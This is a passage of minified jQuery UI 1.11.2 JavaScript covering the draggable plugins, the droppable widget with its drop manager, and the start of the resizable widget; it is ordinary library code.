t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,a=this.options,n=this.document[0];return this.relativeContainer=null,a.containment?"window"===a.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||n.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===a.containment?(this.containment=[0,0,e(n).width()-this.helperProportions.width-this.margins.left,(e(n).height()||n.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):a.containment.constructor===Array?(this.containment=a.containment,void 0):("parent"===a.containment&&(a.containment=this.helper[0].parentNode),i=e(a.containment),s=i[0],s&&(t=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(e,t){t||(t=this.position);var i="absolute"===e?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,s,a,n,o=this.options,r=this._isRootNode(this.scrollParent[0]),h=e.pageX,l=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(a=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?a-this.offset.click.top>=i[1]||a-this.offset.click.top>i[3]?a:a-this.offset.click.top>=i[1]?a-o.grid[1]:a+o.grid[1]:a,n=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?n-this.offset.click.left>=i[0]||n-this.offset.click.left>i[2]?n:n-this.offset.click.left>=i[0]?n-o.grid[0]:n+o.grid[0]:n),"y"===o.axis&&(h=this.originalPageX),"x"===o.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){"y"!==this.options.axis&&"auto"!==this.helper.css("right")&&(this.helper.width(this.helper.width()),this.helper.css("right","auto")),"x"!==this.options.axis&&"auto"!==this.helper.css("bottom")&&(this.helper.height(this.helper.height()),this.helper.css("bottom","auto"))},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,s){var a=e.extend({},i,{item:s.element});s.sortables=[],e(s.options.connectToSortable).each(function(){var i=e(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,a))})},stop:function(t,i,s){var a=e.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,e.each(s.sortables,function(){var e=this;e.isOver?(e.isOver=0,s.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,a))})},drag:function(t,i,s){e.each(s.sortables,function(){var a=!1,n=this;n.positionAbs=s.positionAbs,n.helperProportions=s.helperProportions,n.offset.click=s.offset.click,n._intersectsWith(n.containerCache)&&(a=!0,e.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==n&&this._intersectsWith(this.containerCache)&&e.contains(n.element[0],this.element[0])&&(a=!1),a
})),a?(n.isOver||(n.isOver=1,n.currentItem=i.helper.appendTo(n.element).data("ui-sortable-item",!0),n.options._helper=n.options.helper,n.options.helper=function(){return i.helper[0]},t.target=n.currentItem[0],n._mouseCapture(t,!0),n._mouseStart(t,!0,!0),n.offset.click.top=s.offset.click.top,n.offset.click.left=s.offset.click.left,n.offset.parent.left-=s.offset.parent.left-n.offset.parent.left,n.offset.parent.top-=s.offset.parent.top-n.offset.parent.top,s._trigger("toSortable",t),s.dropped=n.element,e.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,n.fromOutside=s),n.currentItem&&(n._mouseDrag(t),i.position=n.position)):n.isOver&&(n.isOver=0,n.cancelHelperRemoval=!0,n.options._revert=n.options.revert,n.options.revert=!1,n._trigger("out",t,n._uiHash(n)),n._mouseStop(t,!0),n.options.revert=n.options._revert,n.options.helper=n.options._helper,n.placeholder&&n.placeholder.remove(),s._refreshOffsets(t),i.position=s._generatePosition(t,!0),s._trigger("fromSortable",t),s.dropped=!1,e.each(s.sortables,function(){this.refreshPositions()}))})}}),e.ui.plugin.add("draggable","cursor",{start:function(t,i,s){var a=e("body"),n=s.options;a.css("cursor")&&(n._cursor=a.css("cursor")),a.css("cursor",n.cursor)},stop:function(t,i,s){var a=s.options;a._cursor&&e("body").css("cursor",a._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i,s){var a=e(i.helper),n=s.options;a.css("opacity")&&(n._opacity=a.css("opacity")),a.css("opacity",n.opacity)},stop:function(t,i,s){var a=s.options;a._opacity&&e(i.helper).css("opacity",a._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,s){var a=s.options,n=!1,o=s.scrollParentNotHidden[0],r=s.document[0];o!==r&&"HTML"!==o.tagName?(a.axis&&"x"===a.axis||(s.overflowOffset.top+o.offsetHeight-t.pageY<a.scrollSensitivity?o.scrollTop=n=o.scrollTop+a.scrollSpeed:t.pageY-s.overflowOffset.top<a.scrollSensitivity&&(o.scrollTop=n=o.scrollTop-a.scrollSpeed)),a.axis&&"y"===a.axis||(s.overflowOffset.left+o.offsetWidth-t.pageX<a.scrollSensitivity?o.scrollLeft=n=o.scrollLeft+a.scrollSpeed:t.pageX-s.overflowOffset.left<a.scrollSensitivity&&(o.scrollLeft=n=o.scrollLeft-a.scrollSpeed))):(a.axis&&"x"===a.axis||(t.pageY-e(r).scrollTop()<a.scrollSensitivity?n=e(r).scrollTop(e(r).scrollTop()-a.scrollSpeed):e(window).height()-(t.pageY-e(r).scrollTop())<a.scrollSensitivity&&(n=e(r).scrollTop(e(r).scrollTop()+a.scrollSpeed))),a.axis&&"y"===a.axis||(t.pageX-e(r).scrollLeft()<a.scrollSensitivity?n=e(r).scrollLeft(e(r).scrollLeft()-a.scrollSpeed):e(window).width()-(t.pageX-e(r).scrollLeft())<a.scrollSensitivity&&(n=e(r).scrollLeft(e(r).scrollLeft()+a.scrollSpeed)))),n!==!1&&e.ui.ddmanager&&!a.dropBehaviour&&e.ui.ddmanager.prepareOffsets(s,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,i,s){var a=s.options;s.snapElements=[],e(a.snap.constructor!==String?a.snap.items||":data(ui-draggable)":a.snap).each(function(){var t=e(this),i=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,s){var a,n,o,r,h,l,u,d,c,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,y=i.offset.top,b=y+s.helperProportions.height;for(c=s.snapElements.length-1;c>=0;c--)h=s.snapElements[c].left-s.margins.left,l=h+s.snapElements[c].width,u=s.snapElements[c].top-s.margins.top,d=u+s.snapElements[c].height,h-m>v||g>l+m||u-m>b||y>d+m||!e.contains(s.snapElements[c].item.ownerDocument,s.snapElements[c].item)?(s.snapElements[c].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=!1):("inner"!==f.snapMode&&(a=m>=Math.abs(u-b),n=m>=Math.abs(d-y),o=m>=Math.abs(h-v),r=m>=Math.abs(l-g),a&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),n&&(i.position.top=s._convertPositionTo("relative",{top:d,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=a||n||o||r,"outer"!==f.snapMode&&(a=m>=Math.abs(u-y),n=m>=Math.abs(d-b),o=m>=Math.abs(h-g),r=m>=Math.abs(l-v),a&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),n&&(i.position.top=s._convertPositionTo("relative",{top:d-s.helperProportions.height,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[c].snapping&&(a||n||o||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=a||n||o||r||p)}}),e.ui.plugin.add("draggable","stack",{start:function(t,i,s){var a,n=s.options,o=e.makeArray(e(n.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});o.length&&(a=parseInt(e(o[0]).css("zIndex"),10)||0,e(o).each(function(t){e(this).css("zIndex",a+t)}),this.css("zIndex",a+o.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i,s){var a=e(i.helper),n=s.options;a.css("zIndex")&&(n._zIndex=a.css("zIndex")),a.css("zIndex",n.zIndex)},stop:function(t,i,s){var a=s.options;a._zIndex&&e(i.helper).css("zIndex",a._zIndex)}}),e.ui.draggable,e.widget("ui.droppable",{version:"1.11.2",widgetEventPrefix:"drop",options:{accept:"*",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=e.isFunction(s)?s:function(e){return e.is(s)},this.proportions=function(){return arguments.length?(t=arguments[0],void 0):t?t:t={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this.element.addClass("ui-droppable")},_addToManager:function(t){e.ui.ddmanager.droppables[t]=e.ui.ddmanager.droppables[t]||[],e.ui.ddmanager.droppables[t].push(this)},_splice:function(e){for(var t=0;e.length>t;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var t=e.ui.ddmanager.droppables[this.options.scope];this._splice(t),this.element.removeClass("ui-droppable ui-droppable-disabled")},_setOption:function(t,i){if("accept"===t)this.accept=e.isFunction(i)?i:function(e){return e.is(i)};else if("scope"===t){var s=e.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(t,i)},_activate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var s=i||e.ui.ddmanager.current,a=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=e(this).droppable("instance");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&e.ui.intersect(s,e.extend(i,{offset:i.element.offset()}),i.options.tolerance,t)?(a=!0,!1):void 0}),a?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("drop",t,this.ui(s)),this.element):!1):!1},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}}}),e.ui.intersect=function(){function e(e,t,i){return e>=t&&t+i>e}return function(t,i,s,a){if(!i.offset)return!1;var n=(t.positionAbs||t.position.absolute).left+t.margins.left,o=(t.positionAbs||t.position.absolute).top+t.margins.top,r=n+t.helperProportions.width,h=o+t.helperProportions.height,l=i.offset.left,u=i.offset.top,d=l+i.proportions().width,c=u+i.proportions().height;switch(s){case"fit":return n>=l&&d>=r&&o>=u&&c>=h;case"intersect":return n+t.helperProportions.width/2>l&&d>r-t.helperProportions.width/2&&o+t.helperProportions.height/2>u&&c>h-t.helperProportions.height/2;case"pointer":return e(a.pageY,u,i.proportions().height)&&e(a.pageX,l,i.proportions().width);case"touch":return(o>=u&&c>=o||h>=u&&c>=h||u>o&&h>c)&&(n>=l&&d>=n||r>=l&&d>=r||l>n&&r>d);default:return!1}}}(),e.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(t,i){var s,a,n=e.ui.ddmanager.droppables[t.options.scope]||[],o=i?i.type:null,r=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();e:for(s=0;n.length>s;s++)if(!(n[s].options.disabled||t&&!n[s].accept.call(n[s].element[0],t.currentItem||t.element))){for(a=0;r.length>a;a++)if(r[a]===n[s].element[0]){n[s].proportions().height=0;continue e}n[s].visible="none"!==n[s].element.css("display"),n[s].visible&&("mousedown"===o&&n[s]._activate.call(n[s],i),n[s].offset=n[s].element.offset(),n[s].proportions({width:n[s].element[0].offsetWidth,height:n[s].element[0].offsetHeight}))}},drop:function(t,i){var s=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(t,i){t.element.parentsUntil("body").bind("scroll.droppable",function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,a,n,o=e.ui.intersect(t,this,this.options.tolerance,i),r=!o&&this.isover?"isout":o&&!this.isover?"isover":null;r&&(this.options.greedy&&(a=this.options.scope,n=this.element.parents(":data(ui-droppable)").filter(function(){return e(this).droppable("instance").options.scope===a}),n.length&&(s=e(n[0]).droppable("instance"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(t,i){t.element.parentsUntil("body").unbind("scroll.droppable"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}},e.ui.droppable,e.widget("ui.resizable",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(e){return parseInt(e,10)||0},_isNumber:function(e){return!isNaN(parseInt(e,10))},_hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",a=!1;return t[s]>0?!0:(t[s]=1,a=t[s]>0,t[s]=0,a)},_create:function(){var t,i,s,a,n,o=this,r=this.options;if(this.element.addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)&&(this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),t=this.handles.split(","),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),n="ui-resizable-"+s,a=e("<div class='ui-resizable-handle "+n+"'></div>"),a.css({zIndex:r.zIndex}),"se"===s&&a.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[s]=".ui-resizable-"+s,this.element.append(a);this._renderAxis=function(t){var i,s,a,n;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String&&(this.handles[i]=this.element.children(this.handles[i]).first().show()),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)&&(s=e(this.handles[i],this.element),n=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),a=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(a,n),this._proportionallyResize()),e(this.handles[i]).length},this._renderAxis(this.element),this._handles=e(".ui-resizable-handle",this.element).disableSelection(),this._handles.mouseover(function(){o.resizing||(this.className&&(a=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=a&&a[1]?a[1]:"se")}),r.autoHide&&(this._handles.hide(),e(this.element).addClass("ui-resizable-autohide").mouseenter(function(){r.disabled||(e(this).removeClass("ui-resizable-autohide"),o._handles.show())}).mouseleave(function(){r.disabled||o.resizing||(e(this).addClass("ui-resizable-autohide"),o._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,i=function(t){e(t).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t),t.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(t){var i,s,a=!1;for(i in this.handles)s=e(this.handles[i])[0],(s===t.target||e.contains(s,t.target))&&(a=!0);return!this.options.disabled&&a},_mouseStart:function(t){var i,s,a,n=this.options,o=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),n.containment&&(i+=e(n.containment).scrollLeft()||0,s+=e(n.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:o.width(),height:o.height()},this.originalSize=this._helper?{width:o.outerWidth(),height:o.outerHeight()}:{width:o.width(),height:o.height()},this.sizeDiff={width:o.outerWidth()-o.width(),height:o.outerHeight()-o.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof n.aspectRatio?n.aspectRatio:this.originalSize.width/this.originalSize.height||1,a=e(".ui-resizable-"+this.axis).css("cursor"),e("body").css("cursor","auto"===a?this.axis+"-resize":a),o.addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i,s,a=this.originalMousePosition,n=this.axis,o=t.pageX-a.left||0,r=t.pageY-a.top||0,h=this._change[n];return this._updatePrevProperties(),h?(i=h.apply(this,[t,o,r]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(t){this.resizing=!1;var i,s,a,n,o,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),a=s&&this._hasScroll(i[0],"left")?0:u.sizeDiff.height,n=s?0:u.sizeDiff.width,o={width:u.helper.width()-n,height:u.helper.height()-a},r=parseInt(u.element.css("left"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css("top"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(e.extend(o,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),e("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var e={};return this.position.top!==this.prevPosition.top&&(e.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(e.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(e.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(e.height=this.size.height+"px"),this.helper.css(e),e},_updateVirtualBoundaries:function(e){var t,i,s,a,n,o=this.options;n={minWidth:this._isNumber(o.minWidth)?o.minWidth:0,maxWidth:this._isNumber(o.maxWidth)?o.maxWidth:1/0,minHeight:this._isNumber(o.minHeight)?o.minHeight:0,maxHeight:this._isNumber(o.maxHeight)?o.maxHeight:1/0},(this._aspectRatio||e)&&(t=n.minHeight*this.aspectRatio,s=n.minWidth/this.aspectRatio,i=n.maxHeight*this.aspectRatio,a=n.maxWidth/this.aspectRatio,t>n.minWidth&&(n.minWidth=t),s>n.minHeight&&(n.minHeight=s),n.maxWidth>i&&(n.maxWidth=i),n.maxHeight>a&&(n.maxHeight=a)),this._vBoundaries=n},_updateCache:function(e){this.offset=this.helper.offset(),this._isNumber(e.left)&&(this.position.left=e.left),this._isNumber(e.top)&&(this.position.top=e.top),this._isNumber(e.height)&&(this.size.height=e.height),this._isNumber(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,i=this.size,s=this.axis;return this._isNumber(e.height)?e.width=e.height*this.aspectRatio:this._isNumber(e.width)&&(e.height=e.width/this.aspectRatio),"sw"===s&&(e.left=t.left+(i.width-e.width),e.top=null),"nw"===s&&(e.top=t.top+(i.height-e.height),e.left=t.left+(i.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,i=this.axis,s=this._isNumber(e.width)&&t.maxWidth&&t.maxWidth<e.width,a=this._isNumber(e.height)&&t.maxHeight&&t.maxHeight<e.height,n=this._isNumber(e.width)&&t.minWidth&&t.minWidth>e.width,o=this._isNumber(e.height)&&t.minHeight&&t.minHeight>e.height,r=this.originalPosition.left+this.originalSize.width,h=this.position.top+this.size.height,l=/sw|nw|w/.test(i),u=/nw|ne|n/.test(i);return n&&(e.width=t.minWidth),o&&(e.height=t.minHeight),s&&(e.width=t.maxWidth),a&&(e.height=t.maxHeight),n&&l&&(e.left=r-t.minWidth),s&&l&&(e.left=r-t.maxWidth),o&&u&&(e.top=h-t.minHeight),a&&u&&(e.top=h-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_getPaddingPlusBorderDimensions:function(e){for(var t=0,i=[],s=[e.css("borderTopWidth"),e.css("borderRightWidth"),e.css("borderBottomWidth"),e.css("borderLeftWidth")],a=[e.css("paddingTop"),e.css("paddingRight"),e.css("paddingBottom"),e.css("paddingLeft")];4>t;t++)i[t]=parseInt(s[t],10)||0,i[t]+=parseInt(a[t],10)||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e,t=0,i=this.helper||this.element;this._proportionallyResizeElements.length>t;t++)e=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(e)),e.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e("<div style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize,s=this.originalPosition;return{left:s.left+t,width:i.width-t}},n:function(e,t,i){var s=this.originalSize,a=this.originalPosition;return{top:a.top+i,height:s.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},sw:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,s]))},ne:function(t,i,s){return 